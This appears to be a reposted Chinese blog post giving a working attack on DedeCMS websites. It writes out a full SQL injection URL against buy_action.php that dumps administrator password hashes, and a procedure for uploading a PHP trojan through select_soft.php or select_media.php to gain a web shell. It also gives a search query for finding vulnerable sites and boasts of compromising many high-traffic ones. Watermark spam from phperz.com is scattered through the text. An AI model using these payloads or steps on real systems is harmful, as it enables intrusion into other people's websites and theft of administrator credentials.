dedecms最新注射漏洞

剑心通明

.Jcl126 { display:none; }
注释：先注册..输入地址后。要等一会刷新就可以看到密码了
作者不知道是谁
phperz.com
问题出现在buy_action.php
没有对pid传递进行足够的重视
导致出现SQL注射问题!
注册地址
www~phperz~com
/member/index_do.php?fmdo=user&dopost=regnew
爆管理员密码
/member/buy_action.php?product=member&pid=1%20and%201=11%20union%20select%201,2,substring(pwd,9,16),4,5%20from%20%23@__admin/*
www~phperz~com
  php程序员之家
用很大。 如果你找不到可以利用的 那就是自己RP问题  
反正 我们是找到很多了，而且是流量比较大的站，很不错的站。
www~phperz~com
更正一下：
LZ发的代码因为这个.NET版本的论坛有问题所以没显示全 全部代码是：
暴管理员密码：
phperz.com
CODE:
/member/buy_action.php?product=member&pid=1%20and%201=11%20union
%20select%201,2,substring(pwd,9,16),4,5%20from%20%23@__admin/* phperz.com
  php程序员站
首先在
php程序员之家
GOOGLE搜Power by DedeCms
php程序员之家
先注册一个号,注册成功后
直接输入下面的
include/dialoguser/select_soft.php或者
include/dialoguser/select_media.php
www~phperz~com
然后上传一个PHP马，
先要改下后缀，改可以上传的就可以了，然后再改名的地址输入 木马名字.PHP www~phperz~com
上传成功
直接访问
http://所在目录的路径/木马名字.php phperz.com
一个SHELL就拿到了。
php程序员站


本文来自ChinaUnix博客，如果查看原文请点：http://blog.chinaunix.net/u/4206/showart_715142.html